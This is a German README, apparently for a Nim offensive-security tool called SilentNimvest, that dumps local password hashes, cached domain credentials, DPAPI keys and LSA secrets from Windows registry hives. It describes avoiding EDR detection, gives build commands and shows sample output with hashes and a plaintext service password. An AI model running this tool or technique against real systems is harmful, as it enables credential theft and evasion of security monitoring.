frkngksl/silentnimvestNim-Implementierung der Methode von sud0Ru zum Dumping von Anmeldeinformationen aus SAM/SECURITY-Hives (auch bekannt als SilentHarvest)
Im Wesentlichen ist SilentNimvest ein Parser für SAM- und Security-Hives, geschrieben in Nim. SilentNimvest liest Schlüssel unter diesen Hives mithilfe der Silent-Harvest-Technik. Mit dieser Technik kann ein einfaches Administrator-Konto, das SeBackupPrivilege aktiviert (dank der NtOpenKeyEx-Flags), anstelle eines SYSTEM-Level-Privilegs die Hashes lokaler Benutzer, zwischengespeicherte Domänenanmeldeinformationen, LSA-Secrets und andere Geheimnisse, die aus diesen Hives gewonnen werden können, mithilfe einer weniger EDR-aufmerksamen Registry-Lese-API, nämlich RegQueryMultipleValuesW, auslesen.
Das gesamte Projekt basiert auf sud0ru's Forschung.
Sie können den Quellcode direkt mit folgendem Befehl kompilieren:
nim c -d:release -o:SilentNimvest.exe Main.nim
Falls Sie den Fehler "cannot open file" erhalten, sollten Sie auch die erforderlichen Abhängigkeiten installieren:
nimble install winim nimcrypto checksums des
SilentNimvest kann direkt ohne erforderliche Parameter von einer erhöhten Administratoreingabeaufforderung aus ausgeführt werden.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
Nur für autorisierte Sicherheitstests. Missbrauch dieses Tools gegen Systeme ohne ausdrückliche Genehmigung ist illegal.